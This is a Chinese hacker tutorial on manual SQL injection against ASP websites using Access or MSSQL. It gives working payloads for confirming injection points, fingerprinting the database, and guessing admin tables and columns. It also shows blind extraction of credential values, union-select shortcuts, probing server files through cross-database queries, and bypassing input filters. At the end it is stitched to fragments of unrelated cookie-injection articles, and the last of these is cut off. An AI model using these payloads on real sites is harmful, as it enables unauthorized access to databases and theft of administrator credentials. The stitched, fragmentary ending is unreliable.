当前位置:文档之家› 手工注入

手工注入

手工注入
手工注入

现在的网络,脚本入侵十分的流行,而脚本注入漏洞更是风靡黑客界。不管是老鸟还是新起步的小菜,都会为它那巨大的威力和灵活多变的招式所着迷!

正是因为注入攻击的流行,使的市面上的注入工具层出不穷!比较出名的有小竹的NBSI、教主的HDSI 和啊D的注入工具等等!这大大方便的小菜们掌握注入漏洞!可是,工具是死的,注入的手法却是活的,能否根据实际情况灵活地构造SQL注入语句,得到自己想要的信息,是[被屏蔽的不受欢迎关键词]高shou 与小菜的根本区别!只用工具,而不去管它的原理,是不可能得到提高的,当然,在遇到一些特殊情况的时候,那些只会用工具的小菜们也只能放弃了!所以学会手工注入自己构造SQL注入语句是一个黑客爱好者必上的一堂课!我希望这篇文章能够给那些还不会手工注入的朋友一点启发!帮助大家早日摆脱工具,早日踏入[被屏蔽的不受欢迎关键词]高shou的行列!

恶补基础:

要想学会手工注入,有一个名词是不得不提的,那就是数据库系统!

1。简介

数据库系统分为数据库和数据库管理系统!数据库是存放数据的地方,数据库管理系统则是管理数据库的软件!数据库中数据的存储节构叫数据模型!有四种常见的数据模型,分别是层次模型、网状模型、关系模型和面向对象模型。其中关系数据模型是最主要的数据模型,ACCESS、MSSQL、ORACLE等都是关系模型数据库系统。其中以ACCESS、MSSQL数据库系统最为常见!这些都是理论的知识,希望大家理解!

2。基本概念

表:表是一个关系数据库的基本组成元素!它按行与列组合排列成相关信息。通常行称为记录,列称为域。每个域称为一个字段!每一条记录都由多个字段组成。每个字段的名字叫做字段名,每个字段的值叫估字段值。表中的每一行即每一条记录都拥有想同的结构!如图1。

图1中的这张表里有14行,即14条记录。有4列,即4个字段,4个字段的名字分别叫:job_id(下面对应的1、2、3等都是这个字段的值,后面三个字段的值举一反三!)、job_ desc、min_lvl、max_lvl。因为本文不是专讲数据库知识的,所以这里只讲一些最重要的概念,有兴趣的朋友可以自己去查看数据库的有关资料!

3。注入的条件

只有调用数据库的动态页面才有可有存在注入漏洞,动态页面包括asp php jsp cgi等。本文只讲对ASP 页面的注入。那什么是调用数据库的页面呢?比如这样的形势:

asp?id= php?id= 这样的样子的都是调用数据库的页面。"?"后面加的id的名字叫变量,注意这个变量是可以随便换的,"="号后面的值名字叫参数!这个参数也是可以变的!大家的思路一定要灵活,要学会举一反三,不要太死板!

4。注入漏洞的原理分析:

程序对用户提交的变量没有进行有效的过滤,就直接带入查询语句中,这样,我们就可以提交具有数据查询功能的语句,加入到程序将要提交的信息中去,再根据服务器返回的信息来判断数据库里的内容!光这样说大家可能不太好理解,不要紧,接着往下看。

有关的基础已经讲完了下面开始实战练习部分!

实战部分

如果是刚刚接触注入的新手朋友,我们要做的第一步就是,用鼠标右键点击桌面上的IE图标,再点属性,然后再点“高级”,然后往下拉滚动条,找到“显示

友好HTTP错误信息”,把前面的勾去掉,再点“确定”,这样做是为了让我们得到更多的服务器返回的信息!第一部分:ACCESS数据库手工注入

1。判断是否存在注入漏洞:

这个相信大家都应该知道!就是在一个调用数据库的网址后面加上分别加上and 1=1和and 1=2 ,如果加入and 1=1返回正常(就是和原来没有加and 1=1时页面样子的一样),而加入and 1=2返回错误(和

原来没有加and 1=2时页面的样子不一样),就可以证明这个页面存在注入漏洞。比如:

https://www.doczj.com/doc/065824668.html,/a.asp?id=7,这个网页,我们在后面加上and 1=1(两个空格,and前面一个,and和1=1之间一个!),网址就变成了

https://www.doczj.com/doc/065824668.html,/a.asp?id=7 and 1=1,用IE打开这个网页,返回正常!再尝试在后面加上and 1=2,网址就变成了

https://www.doczj.com/doc/065824668.html,/a.asp?id=7 and 1=2,同样用IE打开这个网页,返回错误!这就说明这个网页

https://www.doczj.com/doc/065824668.html,/a.asp?id=7存在注入漏洞,是一个注入点!(存在注入漏洞的网页叫注入点!)可是,并不是所有的页面都可以这样判断,有的页面不管你加入and 1=1 还是and 1=2,返回的都是错误的页面,难道这样的页面就没有注入漏洞吗?不一定!比如这个页面:https://www.doczj.com/doc/065824668.html,/b.asp?id=ade7, 不管我们在后面上的是and 1=1还是and 1=2,它都返回错误的页面!这个时候我们就要尝试用另一种方法来测试漏洞了,这种方法可以说是and 1=1和and 1=2的变种方法。原来的网址是这样的:

https://www.doczj.com/doc/065824668.html,/b.asp?id=ade7,现在我们把它变成这个样子:

https://www.doczj.com/doc/065824668.html,/b.asp?id=ade7' and '1'='1 ,用IE打开它,看看返回正不正常!如果正常,那就可以接着用这个地址来进一步测试漏洞是否存在(如果返回不正常那这个页面就很有可能不存在注入漏洞!):https://www.doczj.com/doc/065824668.html,/b.asp?id=ade7' and '1'='2 ,用IE打开这个网址,如果返回错误的话,那这个网址https://www.doczj.com/doc/065824668.html,/b.asp?id=1就存在注入漏洞!

A。数字型参数注入点分析!

这时肯定有朋友要问了,为什么用一开始那种and 1=1 and 1=2不行呢!呵呵,先不要急,先看看这两个存在注入漏洞的页面有什么不一样?

(你不要告诉偶第二个网址比第一个网址多了几个X),相信大家已经看到了,第二个网址后跟的参数是ade7,是字符!而第一个网址后跟的参数是7,是数字!就是因为这里,才引起了测试漏洞的语句的不同!学过数据库的朋友们应该知道,在查询中,字符型的值,是要用单引号包起来的,也就是这个样子'字符型数据'。这里假设第一个注入页面所对应的查询语句是这样的(凡是调用数据库的页面都会有一条或者几条对应的查询语句,用来对数据库里的内容进行查询!)

:select * from 表名where id=7。这是原来的那条查询语句,这条语句是正确的,可以在数据库中查询出相应的内容!可是如果我们在网址后面加上了and 1=1,那这条查询语句就会变成select * from 表名where id=7 and 1=1(这下知道了注入漏洞原理分析那里讲的变量没有过滤的意思了吧!),这里有必要说一些数据库的有关知识,这条语句里,and是逻辑运算符!(这个记住就行了),用中文翻译过来就是“和”的意思!在高中的数学里讲过,用“和”来连接的两个句子,必须都是真的,不然整个句子就不是真的!比如:苹果和大象都是水果。这句话就是错的,苹果是水果,可是大象不是!这下大家应该可以理解“用“和”来连接的两个句子,必须都是真的,不然整个句子就不是真的”这句话了吧。如果换成苹果和梨都是水果,那这句话就是对的。知道了and的用处后,再回来看select * from 表名where id=7 and 1=1这个句子,and 前面的select * from 表名where id=7肯定是对的,(为什么呢,如果这条查询语句都不对,那这个注入页而就有问题了!所以and前面的那个句子一定是对的!)。再看and后面,1= 1,不用我说了吧,也是对的(难道一不等于一吗?)根据刚才说的and用处,现在我们可以判定select * from 表名where id=7 and 1=1这条查询语句,仍然是对的!所以它还是可以正确地从数据库里查询出信息,返回给我们!

举一反三,那这个句子:select * from 表名where id=7 and 1=2,肯定是不对的了,那这条查询语句就不能正确地从数据库里查询出信息,所以我们就会看到一个错误的页面!以上是注入点参数是int(整数型)时的分析!

B。字符型参数注入点分析

和刚才一样,我们先来看第二个字符型注入页面里的查询语句,比如是这个select * from 表where

id='ade7'(为什么加引号?看前面吧!)。原来的查询语句是这个样子的,如果我们还按照数字型参数的那种

测试漏洞的方法的话,语句就会变成这样:select * from 表where id='ade7 and 1=1'和

select * from 表where id='ade7 and 1=2' ,因为程序会自动查询引号里的内容,如果我们按前面这两个语句这样提交的话,程序就会查询id值为ade7 and 1=1和ade7 and 1=2的记录,这样是查不到结果的(你可不要告诉我数据库里正好有两个记录的id就是ade7 and 1=1 和and 1=2)。这里可能有朋友要问了,为什么不是查询id为'ade7,然后and 1='1呢?好,我现在回答你们,就算可以查询id值为'ade7的记录,那这个句子也是错的,1怎么会等于'1呢?对吧?更何况程序是不可能查询'ade7的,更准备的说是数据库中不可能有一个字段的值是'ade7,因为这个字符串少一个引号,如果直接把这个字符串存入数据库的话,程序会报错的!怎么样?明白了吧?现在再说用' and '1'='1和' and '1'='2来测试的的原理!同样是这个查询语句:

select * from 表where id='ade7',如果我们在网址后面加了' and '1'='1,那这个查询语句就会变成

select * from 表where id='ade7' and '1'='1'(这里最外面的那一层引号是程序自动加上的),变成这个样子!这个语句对不对呢?我们分析一下。如果我们提交个语句,那程序就会自动查询id值是ade7的记录!因为这个记录是存在的(不存在的话那就是这个网页有问题了!),然and后面跟的'1'='1'是正确的,所以这个语句是正确的!如果我们把' and '1'='1换成' and '1'='2,那语句就成了select * from 表where id='ade7' and '1'='2',只看后面我们就可以知道这个语句对不对了!'1'怎么可能等于'2'呢?是吧?好了,字符型参数的注入点的原理就介绍到这里!

2。数据库类型的判断

在确定了一个地址是注入点后,我们首先要判断这个注入点所连接的数据库的类型!这里介绍几种简单的方法。如果一种判断不出来就再换另一种判断方法!

A。在注入点后直接加上单引号。有的时候我们可以根据服务器报错的信息来判断它用的是什么数据库。如图2!通过这个错误信息我们可以看出来这个注入点所连接的数据库的类型是ACCESS,为什么呢,仔细看!它说的是Microsoft JET Database Engine 錯誤'80040e14' ,说明是通过JET引擎连接数据库,而不是ODBC!如果是用JET方法连接的话就说明用的是ACCESS数据库,如果是ODBC的话就说明数据库是MSSQL!这个记住就行了。其实还有详细的错误信息,它直接把数据库的类型告诉你了!因为我没有找到这样的注入点,这里就截不了图了。大家遇的到话肯定一眼就可以看出来!

B。在注入点后加上(注意,你先确定了它是注入点后再加,不是注入点你加了也没用!):;--(一个分号,两个横线!)比如这个网址

https://www.doczj.com/doc/065824668.html,/article/as.asp?id=875,我们事先已经确定了它是注入点了,这样的话我们就可以在后面加上;--让它变成

https://www.doczj.com/doc/065824668.html,/article/as.asp?id=875;-- 提交这个网址,如果页面返回正常的话,说明数据库是MSSQL。因为在MSSQL数据库里,;和--都是存在的,";" 用来分离两个语句,而"--"就是注释符,在它后面的语句都不执行!而ACCESS数据库里没有!所以如果是ACCESS的数据库,当你在注入地址

后面加上";--"的话那程序就会把";--"当成参数的一部分,这样查询就会出错!如果错误,那基本上可以肯定是ACCESS了(因为网上用这两种数据库的网站最多!)

C。用以上方法都判断不出来的话,那可以用这一招!利用ACCESS和MSSQL数据库的差异来进行判断!要用到两个查询语句!同样,如果注入点是https://www.doczj.com/doc/065824668.html,/article/as.asp?id=875,那我们在后面加上and exists (select count(*) from sysobjects),那么地址就变成了

https://www.doczj.com/doc/065824668.html,/article/as.asp?id=875 and exists (select count(*) from sysobjects)。如果页面正常返回,那就可以证明数据库是MSSQL的。我来解释一下这个语句:这个句子的意思是查询sysobjects 表里的记录数大于0!(有点别扭!)如果返回正常,说明大于0,也就说明存在sysobjects这个表,因为这个表只有MSSQL数据库里才有,所以可以确定数据库的MSSQL的!如果返回错误,那就不是!那我们怎么用查询语句来判断数据库是不是ACCESS的呢!别急,往下看!我们在注入点后加上and exists (select count(*) from msysobjects)。就成了

https://www.doczj.com/doc/065824668.html,/article/as.asp?id=875 and exists (select count(*) from msysobjects),按刚才理

解MSSQL数据库的方法去理解这条语句!这里要注意,提交这个语句是不会返回正常页面的!就算是ACCESS数据库也不会返回正常的页面!因为默认情况下,我们是没有权限查询这个表里的数据的!不过WEB会提示我们“记录无法读取;'msysobjects'没有读取权限”!如果返回的是这个错误信息的话,那就证明是ACCESS数据库了!如图3!简单地来说就是两条查询语句:

and exists (select count(*) from sysobjects)

and exists (select count(*) from msysobjects)

如果第一条返回正常,那就是MSSQL数据库,如果两条都不正常,那就是ACCESS数据库了(这里只讨论MSSQL和ACCESS)

注意:上面讲的全是参数是int的时候的检测方法,如果参数是字符型的,那就先要在参数后面加上单引号,然后再在查询语句最后加上";--"

3。猜表、字段名、检测记录数、检测字段长度。

我按照工具注入的流程给大家讲!

A。猜表!

用到的语句:and exists (select count(*) from 你要猜的表名) 。在注入点后加上这句话,如果返回正常,说明你猜的表是存在的!比如

https://www.doczj.com/doc/065824668.html,/article/as.asp?id=875 and exists (select count(*) from admin),如果返回正常,说明admin这张表存在!如果返回错误,就说明不存在!。别的表也都是这么猜!

B。猜列!

用到的语句:and (select count(列名) from 猜到的表名)>0 。在注入点后加上这句话,如果返回正常,说明你猜的列是存在的!比如

https://www.doczj.com/doc/065824668.html,/article/as.asp?id=875 and (select count(username) from admin)>0,如果返回正常,那username这个列就存在!不过首先要确定from后面跟的表名要是存在的哦!不然你怎么猜都是错的!

C。检测记录数

用到的语句:and (select count(*) from 猜到的表名)>X (X是个数字)。在注入点后加上这句话,并不停地变换X这个数字,直到猜到准确的记录数为止!比如https://www.doczj.com/doc/065824668.html,/article/as.asp?id=875 and (select count(*) from admin)>2 ,这个句子是猜admin表里有几条记录的,也就是有几个管理员(因为一个管理员对应一条记录嘛!)。如果返回正常,说明admin这张表里的记录数大于2。这个时候我们把2改成别的大一点的数!比如5,如果返回错误,说明管理员的个数在2和5之间,2和5之间的整数是3和4,这个时候我们变换语句为https://www.doczj.com/doc/065824668.html,/article/as.asp?id=875 and (select count(*) from admin)=3或者=4,哪个返回正常那管理员的个数就是哪个。如果提交>5还返回错误,那就再取一个更大的数,再重复刚才的动作就可以猜到记录数!

D。检测字段长度

用到的语句:and (select top 1 len(列) from 表)>X (X和刚才一样!)。我来解释一下这个句子,select top 1是查询第一条数据的意思!(在WEB环境下不支持多行回显!只是一次查询的数据不能超过一行!),len 是MSSQL里的一个函数,用法是len(),()里可以是字符串也可以是表达式也可以是列名!知道这些,大家应该可以看懂了吧!后面那个X的变换方法上面的一样!

4。猜解列的值!

这是重点了,相信大家看到这里也会激动起来吧?好,费话不多说,现在我就教大家怎么来猜!用到的语句是

and (select top 1 asc(mid(列,X,1)) from 表)>N,这个句子里的N和X都是数字!先来给大家讲一下这个语句中用到的两个函数!第一个就是asc(),这个函数是用来得到()里的字符串的ASCII码。什么是ASCII 码呢?计算机内部采用二进制的方式计数,那么它为什么又能识别十进制数和各种字符、图形呢?其实,不论是数值数据还是文字、图形等,在计算机内部都采用了一种编码标准。通过编码标准可以把它转换成

二进制数来进行处理,计算机将这些信息处理完毕再转换成可视的信息显示出来。常用的字符代码是ASCII 码,它原来是美国的国家标准,1967年被定为国际标准。这是我从网上找的,因为我也不知道怎么跟大家说,大家知道一下就行了,能理解更好!简单地说任何字符都可以用数字来表示,这个数字就是这个字符所对应的ASCII码。(不知道对不对,我是这么理解的)!比如a所对应的ASCII码就是97,好了,这个明白了,下面再看另一个函数:mid(字符串,A, N) ,这个函数是用来截取()里字符串从第A个长度起往后截取N个字符!比如吧,mid(username,2,3),这个小句子的意思呢,就是从username的第二位截取3个字符!截取完后也就是ser了!明白了吧!注意,我们在注入的时候用这个函数的时候都是这么用的!mid(列,A, 1),最后面那个数字是1,为什么呢!因为asc()这个函数一下就只把一个字符转换成ASCII码,所以我们用mid()函数来截取列值的时候只截取一位!函数介绍到这里!大家看完这两个函数后应该就可以看明白上面那个句子的意思了吧。就是:(再讲一下SQL语句是有运算先后顺序的,就好像数学一样,先算乘除,后算加减,不过如果加了括号就先算括号里的,SQL也是这样归定的!)先用mid函数截取出从第X位开始往后一位的字符(注,包括第X位,其实说白了就是截取第X位的字符)!然后再用asc()函数来得到这个字符的ASCII码,前面的select top 1前面已经讲过了。from 表就更不用说了!那个>X 呢,就像刚才猜列值长度一样,用来猜所截获的字符的ASCII码的大小的!光这么说可能有的朋友还是不懂,所以我打算做一下教程出来。不过时间可能慢点!用这个句子就可以把列值的第一位的ASCII码猜出来:select top 1 asc(mid(username,1,1) from admin)>N

就这样把username列值的第一位猜出来!如果要猜第二位怎么办呢,很简单,把mid(username,1,1)改成mid(username,2,1)就可以了,刚才我们不是已经用上面讲过的猜列值长度的句子把长度猜出来了么,那如果一个列值的长度是7 我们就一直改变到mid(username,7,1)就可以把值全部猜出来!如果想猜别的列就把username改成别的列的名字!对了,现在说一下,在注入过程中,会有一些特殊的情况!这些情况以后再给大家讲。再说一点,我以后用的例子都是参数是数字型的注入点!如果是字符型的,就按我前面说的方法稍微把语句改动一下就可以了!

5。懒人的绝招!union联合查询!

怎么样,看完刚才猜列值的语句,是不是觉得很麻烦啊!呵呵,现在我来教大家一种快速度得到列值的方法!不过这种方法有一定的局限性,不是在哪里都可以用的!至于是什么局限性,那就是我问大家的问题了。呵呵,我也不知道哎~我去网上查过N多资料去过N多论坛问过,郁闷,都没人回答,所以,知道的朋友一定要告诉我啊!好了,进入正题!

先简单地介绍一下union,这个也是数据库里的一个小知识了。所以,劝大家去学学数据库,对脚本入侵很有帮助的!!union是用来把两个查询语句联合起来的,所以用union的语句我都叫它联合查询语句!比如这两个查询语句!select * from admin, select * from user,我想把它们的查询结果保存到一个表里,这个时候union就起到作用了!我们可以用这个语句来实现我们的目的!select * from admin union select * from user!怎么样?很简单吧?对,它就是这么简单!不过他在入侵时的作用可不简单哦!现在来说用union 联合查询来快速得到列值的方法!注:union 所连接的两个查询语句,它们所查询的字段数据一定要相同,不然会出错的!比如前面那个句子查询了一个字段,后面那个句子查了两个,那这个句子就是错的!一定要一样哦!根据union的这个性质!我们要想用union联合查询,就一定要知道注入点所对应的SQL查询语句查询了多少个字段!我们可以一个一个地猜,比如注入点是

https://www.doczj.com/doc/065824668.html,/xx.asp?x=1,那我们就可以用这个句子来猜这个注入点所对应的查询语句查询了多少个字段!https://www.doczj.com/doc/065824668.html,/xx.asp?x=1 union select 1,2 from 表!如果返回的信息是

Microsoft JET Database Engine 错误'80040e14'

在联合查询中所选定的两个数据表或查询中的列数不匹配。

这就说明我们猜的字段数不对,然后我们接着猜,一个一个数往后加,注意喽!有的注入点查询了几十个字段呢!哈哈!那什么时候算是猜对字段了呢?那当然是不报错的时候啦!还要注意,这里的不报错指的是不报出刚才那个错误,而是在网面里显示出了几个数字!这个时候就说明我们查询字段查对了!现在我们就可以直接得到列值了,再注意,表名和列名我们一定要事先已经知道或者已经猜出来了。不然没用!

如果我们猜到第10个字段的时候,页面里显示出了数字!

http://https://www.doczj.com/doc/065824668.html,/xx.asp?x=1 union select 1,2,3,4,5,6,7,8,9,10 from admin 。比如语句是这样的,这个时候我们就看页面里显出了哪几个数字!比如显出了3,那我们就把3换成我们要猜的列名!比如我们要猜username,就把注入语句改成

https://www.doczj.com/doc/065824668.html,/xx.asp?x=1 union select 1,2,username,4,5,6,7,8,9,10 from admin 。要猜其它的也一样!呵呵,这样快多了吧!如果在猜查询多少个字段的时候显示的错误不是上面那个“在联合查询中所选定的两个数据表或查询中的列数不匹配。” 那就说明不可以用联合查询了,这招也就没用了!可能又有朋友要说了,如果查询的字段很多,那一个一个猜不是要累死么?呵呵,真是的!哪有那么多的牢骚!好,再教你们另一个快速猜字段的方法!

order by!这两个单词在SQL里是给查询结果排序用的!这个大家知道就行!怎么用这个句子来猜字段数呢!大家看!还是这个注入点!

https://www.doczj.com/doc/065824668.html,/xx.asp?x=1,在后面加上order by N (N是数字!),就成了

https://www.doczj.com/doc/065824668.html,/xx.asp?x=1 order by N,这里我让N为10,就是https://www.doczj.com/doc/065824668.html,/xx.asp?x=1 order by 10,如果返回正常!就接着加大这个数字,如果加到20返回正常,到21返回错误,那就是查询了20个字段!就是这样猜查询了多少个字段!如果我们猜出来它查询了20个,就和刚才一下提交这个语句:https://www.doczj.com/doc/065824668.html,/xx.asp?x=1 union select 1,2,3........20 from 表!然后看看哪个数字会显示在页面里,把那个数字改成你要猜的字段,就可以了!呵呵!如果这招不行就只能一个一个猜列值喽!

6。汉字的猜解!

刚才忘了这里了,直到在做教程的时候碰到一个用户名是汉字的,才想起来!

有的时候大家会遇到这样的情况,用逐字猜解列值的方法,有的时候是>0 页面还是返回错误!看到这样的情况不要慌!不大于0就说晚这个值的ASCII码是负数,也就是汉字喽!这个时候我们要想得到它的ASCII 码,就要用到一个函数了!abs()这个函数是用来返回一个值的绝对值的!我们只要把这个函数加在句子里,就可以按照平常的方法猜ASCII码了。具体是这么加的:and (select top 1 abs(asc(mid(列,X,1))) from admin)>N 就是这样了,不过等猜出来后不要忘了加负号哦!猜出ASCII码后就可以用字符转换工具转换成字符了!我以前写了一个小工具,大家可以下载用用!这里提醒大家一下,汉字的ASCII码都是很小的,也就是说在取它们的绝对值后他们会变的很大!所以最好从10000猜起,这样快点!

7。跨库查询!

这可能是这篇教程的最后一部分了,对不起大家了,因为我在策划MSSQL注入的教程怎么写的时候,发现了不少问题,我没有搞清楚,所以这些要等我搞清楚后再写,如果现在写出来会误导大家的!所以写完这篇后,我决定深入学习一下MSSQL,学过这个的朋友一定要加我QQ啊!一起交流一下!我的QQ 是1924627!加的时候注明:X档案!学过ASP的也可以加加,呵呵,我最近也在自学ASP~!小菜朋友们也可以加我讨论一些问题,在此说明哦,难的问题我可不会!加的时候表问偶有没有学过这个有没有学过那个,伤自尊的!偶基本上什么也没有学过!呵呵,好了,不多说了。教程开始!

大家可能都遇到过这种情况!就是在找到注入点的时候,猜不出来表名或者是列名!这个时候可能好多刚接触这方面的小菜就要犯难了,有的还专程到论坛里去问!(我那个时候就问过这种问题,郁闷,被一群SB取笑了!)其实,猜不出来是正常的!既然叫“猜”!当然不能每次都猜中了!工具只会按预先设定好的表名或者列名来猜!如果网站所用的数据库里存在一张工具里没有存着的表名或者列名,那工具就猜不出来喽!MSSQL是用爆的,不是用猜的!这点大家要知道!。大家肯定认为那些猜不出来列或者表的注入点就没有用了吧!其实不然,说它的用处大,也不大,用处小,也不小!为什么这么说呢!因为它有另一个用法!不过这个用法在入侵中不常用,有的时候甚至用不了!什么用法呢?就是跨库查询!相信大家还记的,猜表名的语句是这样的!

and exists(select count(*) from 表),是这样的吧?什么?忘了?去看看前面的教程去!这里我告诉大家,其实from后面可以跟路径的!不过要绝对路径!这个路径指向一个数据库,就可以实现跨库查询!比如吧,有一个数据库的路径是D:\hack\1.mdb ,我们想要跨库查询它的内容!就要用到这个语句:and exists

(select count(*) from D:\hack\1.mdb.admin),大家可能看到了,1.mdb后面跟了“.admin”,这是什么呢!其实admin是这个1.mdb里的一个表!当然,在注入网站的时候,我们是不知道要跨的那个数据库是有哪些表的,所以我们要用这种方法去猜!把admin改成别的表,就可以猜别的表存在不存在了!记的哦!如果刚才我们构造的那个注入语句返回正常的话,就说明1.mdb 这个数据库里存在admin这张表!接着就是猜列!和以前的猜法一样,只不过from后面跟的变了变,这里也给大家写一下吧!其实我更希望大家自己思考,有帮助的!猜列的语句是and (select count(列名) from 数据库路径.表名)>0,知道了吧,就是from 后面跟的东东变了变!别的没变!一定要记的,数据库路径后面还要加上一个点和一个表名!这就是简单的跨库查询!可能有朋友要问了,这个有什么用呢!现在我告诉大家,当我们知道了一个对我们有用的数据库的绝对路径,可是不能下载,也没有注入点是连接到这个数据库的,这个时候我们就可以随便找一下注入点,前提是这个注入点连接的数据库和你要跨的数据库在同一服务器上!这个时候我们就可以通过这个注入点来跨库查询那一个数据库的内容!明白了吧!其实也不只这一点用处!大家想想,from后面不是可以跟路径么!这个时候我们可不可以用它来猜服务器上的文件内容呢!当然是可以的,只要把from后面跟的数据库站径改成我们要猜的就可以了。这里来一个例子!

and exists (select count(*) from 路径),就可以了(这里我记的不太清了,应该是这样没错,如果有错的话请告诉我一下!)我们把路径改成

C:\windows\1.c ,(注意:这个c可以是任意的字母!)这个时候如果提示'c:\windows\a.mdb' 不是一個有效的路徑,就说明不存在c:\windows\这个文件夹!(不要想是不是我写错了或者是忘了找mdb了,没有,等你们自己试验的时候就知道了!)。可是如果提示找不到文件的话呢,说明存在这个文件夹,可是不存在1.mdb这个文件!这个时候可能大家要问了,这样不是只可以猜mdb的数据吗?因为不管在文件名后面加上什么字母,都会自己变成mdb格式的文件来检测!其实可以查询其它的文件格式的。这么写就可以了。把1.c改成1.exe.c就可以查询这个1.exe是不是存在!如果存在的话,就会提示

c:\windows\1.exe不是一个有效的数据库文件!(或者有别的不同的提示,反正不会提示找不到文件!)如果提示找不到文件的话,就说明没有这个文件!这样可以大概确定是服务器是什么系统了!如果存在c:\winnt\的话就是2000以,存在c:\windows\ 的话应该就是2003了!好!跨库查询的作用就写到这里!等下我给大家制作一下教程!其实还有一个比较实用的方法。就是只要知道一个列名就可以爆所有列名的值。这个方法用到了联接查询join语句!因为我也没有理解这个方法是什么意思,所以这里就不做介绍了!大家如果想要学的话自己到网上找一下相应的资料!当然,如果哪一天我理解了的话就再补充给大家!8。补充!

在注入的时候,可能没有那么顺利,有的时候程序过滤了这个字符或者过滤了那个。或者干脆用了防注入程序。!或者监控器!这个时候我们就没有办法了吗?不!肯定有的!只不过我们没有发现而已,因为这方面的知识我知道的很少,所以只能给大家一点点的思路!如果谁还有知道的就请补充一下!第一,如果程序过滤了空格,我们可以用/**/来代替,也可以用空格的URL编程%20来代替,最近在论坛里看到了另一种方法,我没有试过!地址是这个:

https://www.doczj.com/doc/065824668.html,/viewthread.php?tid=16791&highlight=%E7%A9%BA%E6%A0%BC 大家有时间试一下!第二,过滤了">"或者"<",我们可以用between用代替!有点英语基础的朋友都知道它是什么意思!如果程序过滤了><号的话,就证明我们不可以用以前那种方法猜字符的ASCII码了!这个时候我们可以用between!比如,这里我猜admin第一位a的ASCII码!以前我们用到的方法是select

asc(mid(admin,1,1))>X 这样猜。可是现在过滤了">"

了,我们不能用这个句子了。我们就可以这样select asc(mid(admin,1,1)) between 80 and 100(有点记不清了,如果说错了还靖见谅!)如果返回正常,就说明admin的每一个字符a的ASCII码处在80到100之间,这样我们就一点点的缩小范围!直到猜出ASCII码!第三,如果用了防注入程序,我们就从防注入程序的漏洞下手!以前在网上看过一篇文章,是讲通用防注入程序3。0的漏洞的。地址多少忘了,朋友们自己找一下吧!这方面突破过滤的知识我只知道一点点,不好意思了!

好了,这次ACCES的手工注入教程算是不圆满的结束了!

网站防注入别忘了cookie注入

网站防注入别忘了cookie注入 经过几年的注入攻击的洗礼,现在即使一般小企业的网站也做了防注入,但有一种注入叫cookie注入,由于它利用了网站程序一般很少使用但确实可用的获取参数的方法,很多网站程序的作者往往忽略了防范cookie注入,给网站的安全带来极大危害。下面我还是通过一个例子说明cookie注入的危害。 我收藏了一款存在cookie注入漏洞的ASP网站程序―宜昌电脑网络公司v2.8版,它存在的注入漏洞比较经典,就用它来演示cookie注入漏洞了。 发现漏洞 我把宜昌电脑网络公司v2.8版在虚拟机里用IIS运行了起来,网站访问地址为http://127.0.0.1/ ,如图1。 在“常见故障”栏目中点开一篇名为“夏普复印机特殊故障代码的复位方法”的文章,在浏览器中显示的地址为http://127.0.0.1/news_more.asp?id=1093,如图2。 在这个地址后面输入-0,也就是浏览器中的地址变为了http://127.0.0.1/news_more.asp?id=1093-0,回车,显示的还是“夏普复印机特殊故障代码的复位方法”这篇文章;在地

址http://127.0.0.1/news_more.asp?id=1093后面输入-1,也就是浏览器中的地址变为了 http://127.0.0.1/news_more.asp?id=1093-1,回车,显示的文章变为了“夏普AR1818、AR163、AR163N、AR2818垂直白线”,如图3 。 和直接访问http://127.0.0.1/news_more.asp?id=1092显示的页面相同。也就是id后面的参数1093-1这个减法运算被执行了,推测news_more.asp在获取id参数的值时过滤不严,很可能存在注入漏洞。是否存在普通的注入漏洞呢?在地址http://127.0.0.1/news_more.asp?id=1093后面输入空格and空格1=1(把空格换成按一下空格键),地址变为了http://127.0.0.1/news_more.asp?id=1093 and 1=1,回车后出来了防注入提示“系统提示:您进行了非法操作请不要在参数中包含非法字符尝试注入!”,如图4。 看来网站有防注入措施,那是不是网站就不存在注入漏洞了呢?ASP程序有Get和Put两种常用获得输入的方法,还有一种不常用的通过cookie获得输入的方法。 http://127.0.0.1/news_more.asp?id=1093 and 1=1就是通过Get方式获得参数的值1093 and 1=1,注入代码被拦截只能说明通过Get方式提交的注入代码被拦截,那么我们通过不常用的cookie提交注入代码是否会被拦截呢?来实际测试一下。在浏览器的地址栏中输入

Cookies注入

Cookies注入 现在很多网站都加了防注入系统代码,你输入注入语句将无法注入 感觉这样的防注入系统不错,但防注入系统没有注意到Cookies 的问题! 所以就有了Cookies注入 我们来研究一下怎样情况下才会有Cookies注入! 如果你学过ASP,你应该会知道Request.QueryString(GET)或Request.Form (POST)!呵,没错,这就是我们用于读取用户发给WEB服务器的指定键中的值!我们有时为了简化代码,会写成ID=Request("ID") 这样写法是简单了,但问题就来了我们先看WEB服务是怎样读取数据的,他是先取GET 中的数据,没有再取POST中的数据,还会去取Cookies中的数据(晕,书上没有这么说,这是和小高交流时才知道看来书说的不全) 我们再看看防注入系统,他会检测GET和POST中的数据,如果有特殊字符(这里当然是注入字符了)! 就禁止数据的提交! 但他没有检测Cookies的数据!问题就来了,那我们怎样测试是否有Cookies注入问题。请先看下面的的连接(示例用,所以连接不是真的) http://*****.2008.***.com/1.asp?id=88 如果我们只输http://*****.2008.***.com/1.asp 时,就不能看到正常的数据,因为没有参数! 我们想知道有没有Cookies问题(也就是有没有Request("XXX")格式问题), 先用IE输入 http://*****.2008.***.com/1.asp 加载网页,显示不正常(没有输参数的原因) 之后在IE输入框再输入 javascript:alert(document.cookie="id="+escape("88")); 按回车,你会看到弹出一个对话框内容是: id=88 之后,你刷新一个网页,如果正常显示,表示是用 Request("ID")这样的格式收集数据,这种格式就可以试Cookies注入了 在输入框中输入 javascript:alert(document.cookie="id="+escape("88 and 2=2")); 刷新页面,如果显示正常,可以再试下一步(如果不正常,就有可能也有过滤了)

纯手工cookie注入

https://www.doczj.com/doc/065824668.html,/Article/200906/39180.html 暗组zachary 大学快毕业了,想起高考时想填的一个学校,由于高考考的比较差,只超过二本十多分,只能往二本中靠低的学校填。首先踩点,打开google输入:site:XXXXXX inurl:asp?id= 搜出很多链接,随便打开了一个,在后面加上单引号,提示如图一所示 明显做了防注入过滤。按照我一般的思路是:首先是检查是否有注入点,不行就检查cookie 注入,再不行就找别的突破点。清空地址栏,输入:javascript:alert(document.cookie=”id=”+escape(“1556 and 1=1”)),然后去掉?id=1556输入https://www.doczj.com/doc/065824668.html,/list.asp,返回正常,得到页面如图二所示:

再清空地址栏,输入:javascript:alert(document.cookie=“id=”+escape(“1556 and 1=2”))回车,然后输入:https://www.doczj.com/doc/065824668.html,/list.asp,得到页面如图三所示

